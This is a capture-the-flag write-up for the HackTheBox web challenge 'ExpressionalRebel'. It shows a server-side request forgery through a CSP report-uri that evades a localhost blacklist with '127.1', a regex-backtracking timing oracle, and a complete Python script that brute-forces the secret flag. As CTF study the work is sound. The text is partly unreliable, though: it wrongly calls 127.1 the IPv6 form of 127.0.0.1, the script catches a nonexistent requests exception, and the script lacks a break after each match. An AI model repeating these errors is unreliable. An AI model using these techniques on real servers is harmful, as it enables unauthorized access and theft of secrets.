HTB: ExpressionalRebel
Published: 2022-04-21 12:46:37

ExpressionalRebel is a web challenge on HackTheBox

It's quite an interesting one, because you'll have to combine several different faults in the application to solve it

## If you're stuck

If you're stuck and are looking for help, here are a few vague tips that might point you in the right direction, before spoiling yourself with this writeup.

For the IP-check:
- Look at the handling of `report-uri`. Are there other ways can you write localhost/127.0.0.1?

For getting the flag
- Check the expected type of the first parameter to regExp.match

## Getting started

ExpressionalRebel contains a node-express app that evaluates [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)



Looking at the code, the first thing I did was just `grep` for the input for the `flag`. This reveals that there isn't really one point where the app will output the flag. However, there's a call that compares an input to the flag

```js
router.get('/deactivate',isLocal, async (req, res) => {
	const { secretCode } = req.query;
	if (secretCode){
		const success = await validateSecret(secretCode);
		res.render('deactivate', {secretCode, success});
	} else {
		res.render('deactivate', {secretCode});
	}
});

```

So this is the closest we can get to the flag. I noticed that the route is protected with the `isLocal` method, which checks if the caller is itself, so this can only be called from itself.

So, first step is to get to call this endpoint


### Calling the endpoint

Playing around with the app, I noticed that the `report-uri` could be used to call any endpoint I want. This is really fun, because this could be used to defeat the `isLocal` check on deactivate. However, passing `localhost` or `127.0.0.1` doesn't work. This stumped me for a long long time.

The localhost filtering on the URLs for `report-uri` is like this

```js
const isLocalhost = async (url) => {
  let blacklist = [
    "localhost",
    "127.0.0.1",
  ];
  let hostname = parse(url).hostname;
  return blacklist.includes(hostname);
};
```

Staring at it for ages, it finally struck me. There's an IPv6 version of 127.0.0.1! 127.1! So, passing in `report-uri http://127.1/deactivate` worked! Or... At least it didn't return the same error as before

So what's happening here is that while the CSP check performs the GET request to /deactivate, it doesn't forward the response. So we don't get to see directly what's going on

Inspecting the code, we can see that it also expects a `secretCode` query param. 

## The plot thickens.

Looking at the code for deactivate, we can see that it takes the `secretCode` query param and forwards it to `verifySecret`.

```js
const validateSecret = async (secret) => {
  try {
    const match = await regExp.match(secret, env.FLAG)
    return !!match;
  } catch (error) {
    return false;
  }
}
```

`regExp` is from the npm package [`time-limited-regular-expressions`](https://www.npmjs.com/package/time-limited-regular-expressions)

From the definition of [`.match`](https://github.com/apostrophecms/time-limited-regular-expressions/blob/776542482e0040f83e9a3803b17613932dc0df53/index.js#L9) you can see that it expects a regex as its first parameter. But... That's the one from the user, right? So we can mess with it! Passing the right regex will reveal information about the flag! 

But how will we know? We can't get the response damnit...

Or can we?

## Exploiting backtracking in regex
At first, it was a bit confusing why they used this time-limited regex things, but this is actually a hint from the author of the challenge.

As it turns out, you can make regexes that take a loooong time to compute. Like several minutes or hours long. So, with a specially constructed regex, we can get some information out

First, we know that the structure of the flag is `HTB{\.+}`. We also know that regexes have a logical OR, `<patter>|<pattern>`, and that a left-side match would mean that the right side doesn't get checked. So, what if we constructed a regex like `HTB{\w+}|...some sloooooow regex...`. If we timed the responses, we could probably figure out which one is getting used!

After trial and error, I landed on this as a succifiently slow right-side of the regex: (?:[^<]+|<(?:[^\/]|\/(?:[^s]))). The key here is that this is doing a bunch of nested look-ahead statements, looking for missing matches. This expensive because it causes backtracking through the string many many times. You can read more about backtracking [here](https://www.regular-expressions.info/catastrophic.html)

Now, using `HTB{\w+}` as the left side is only useful to verify our hypothesis. We'd expect `HTB{\w+}` to resolve really quick, and `HTB{\d}` to resolve really slow. And 🥁🥁🥁... It works!

## Putting it all together
So what have we learned so far
- We know that passing http://127.1/deactivate as the `report-uri` part of the CSP bypasses the localhost checks on both endpoints
- We know that deactivate expects a query param called secretCode, which can be a regex.
- We know that with crafting special regexes we can reveal if a given regex matches the flag or not by timing the responses

Assembling this information, we know that we want to incur the server to call itself on 127.1/deactivate with a secretCode that's a regex that _exactly_ matches the flag. Since we can tell a hit from a miss with timing, we can brute-force this!

First request would have secretCode:
`HTB{a\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))`
Then:
`HTB{b\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))`
Then:
`HTB{c\.+}|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))`
Etc

You can use `HTB{\w+}` as a benchmark of how quickly a "good" response resolves. I set the timeout to 0.5s, and then ran the following `exploit.py` file

```python
import requests, re, urllib.parse

eval_endpoint = "http://<YOUR_INDSTANCE_AND_PORT>/api/evaluate"
deactivate_endpoint = "http://127.1:1337/deactivate"

def brute_force_flag():
    alphabet = map(re.escape, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789[]{}/\!@#$%^&*()_+=-<>?")

    # The end here is just a hard-to-compute regex. If the request takes lnger than ~100ms, this means that the right
    # hand side of this regex is being evaluated, and that means that the left side didn't match. 
    regex = ".+|(?:[^<]+|<(?:[^\/]|\/(?:[^s])))*>(?:[^<]+|<(?:[^/]|\/(?:[^s]))*)"

    current_guess = "HTB{"
    while current_guess[::-1][0] != "}":
        for char in alphabet:
            # Concat the current best guess, with the chracter to test, and add the rest of the regex
            guess = current_guess + char + regex

            # Gotta make the secretCode URL safe
            u = deactivate_endpoint + "?secretCode=" + urllib.parse.quote(guess)
            data = {
                "csp": "report-uri " + u + ";"
            }
            try:
                res = requests.post(eval_endpoint, timeout=0.5, data=data)
            except requests.TimeoutException as e:
                # If the request timed out, we missed, so skip to next
                continue

            current_guess = current_guess + char
            print(current_guess)

    print("final guess was " + current_guess)
if __name__ == "__main__":
    brute_force_flag()
```

After a few minutes of chugging along, it printed me a nice, friendly, flag 🎉